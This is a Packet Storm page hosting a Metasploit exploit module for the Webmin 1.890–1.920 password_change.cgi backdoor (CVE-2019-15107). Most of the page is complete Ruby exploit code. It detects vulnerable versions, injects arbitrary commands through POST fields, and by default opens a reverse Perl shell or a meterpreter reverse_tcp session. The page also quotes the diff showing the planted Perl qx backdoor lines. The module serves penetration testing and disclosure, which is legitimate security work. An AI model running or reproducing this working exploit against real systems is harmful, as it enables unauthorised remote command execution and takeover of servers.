exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Webmin 1.920 password_change.cgi Backdoor

Webmin 1.920 password_change.cgi Backdoor
Posted Aug 23, 2019
Authored by wvu | Site metasploit.com

This Metasploit module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project's site. Unknown attacker(s) inserted Perl qx statements into the build server's source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920. Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled.

tags | exploit, perl
advisories | CVE-2019-15107
SHA-256 | a77b36da3b341bc12695770cadbf155d839a3d53526172e82c4c2022be857299

Webmin 1.920 password_change.cgi Backdoor

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin password_change.cgi Backdoor',
'Description' => %q{
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
Only the SourceForge downloads were backdoored, but they are listed as
official downloads on the project's site.

Unknown attacker(s) inserted Perl qx statements into the build server's
source code on two separate occasions: once in April 2018, introducing
the backdoor in the 1.890 release, and in July 2018, reintroducing the
backdoor in releases 1.900 through 1.920.

Only version 1.890 is exploitable in the default install. Later affected
versions require the expired password changing feature to be enabled.
},
'Author' => [
'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module
'wvu' # This module and updated information about the backdoor
],
'References' => [
['CVE', '2019-15107'], # y tho
['URL', 'http://www.webmin.com/exploit.html'],
['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],
['URL', 'https://blog.firosolutions.com/exploits/webmin/'],
['URL', 'https://github.com/webmin/webmin/issues/947']
],
'DisclosureDate' => '2019-08-10',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => [
Gem::Version.new('1.890'), Gem::Version.new('1.920')
],
'Type' => :unix_memory,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => [
Gem::Version.new('1.890'), Gem::Version.new('1.920')
],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
Opt::RPORT(10000),
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

unless res
vprint_error('Server did not respond')
return CheckCode::Unknown
end

version =
res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first

unless version
vprint_error('Webmin version not detected')
return CheckCode::Unknown
end

version = Gem::Version.new(version)

vprint_status("Webmin #{version} detected")
checkcode = CheckCode::Detected

unless version.between?(*target['Version'])
vprint_error("Webmin #{version} is not a supported target")
return CheckCode::Safe
end

vprint_good("Webmin #{version} is a supported target")
checkcode = CheckCode::Appears

res = execute_command("echo #{token}")

unless res
vprint_error('Webmin did not respond to check command')
return checkcode
end

if res.body.include?('Password changing is not enabled!')
vprint_error('Expired password changing disabled')
return CheckCode::Safe
end

if res.body.include?(token)
vprint_good('Webmin executed a benign check command')
checkcode = CheckCode::Vulnerable
else
vprint_error('Webmin did not execute our check command')
return CheckCode::Safe
end

checkcode
end

def exploit
# These CheckCodes are allowed to pass automatically
checkcodes = [
CheckCode::Appears,
CheckCode::Vulnerable
]

unless checkcodes.include?(check) || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

print_status("Configuring #{target.name} target")

case target['Type']
when :unix_memory
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")

res = execute_command(payload.encoded)

if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Dumping command output in full response body')

if res.body.empty?
print_error('Empty response body, no command output')
return
end

print_line(res.body)
end
when :linux_dropper
print_status("Sending #{datastore['PAYLOAD']} command stager")
execute_cmdstager
end
end

=begin
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
#!/usr/bin/perl
2:1c
#!/usr/local/bin/perl
====1
1:12c
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
# Show ok page
3:200c

wvu@kharak:~/Downloads$
=end
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' => {'Referer' => full_uri},
'vars_post' => {
# 1.890
'expired' => cmd,
# 1.900-1.920
'new1' => token,
'new2' => token,
'old' => cmd
}
}, 3.5)
end

def token
@token ||= Rex::Text.rand_text_alphanumeric(8..42)
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close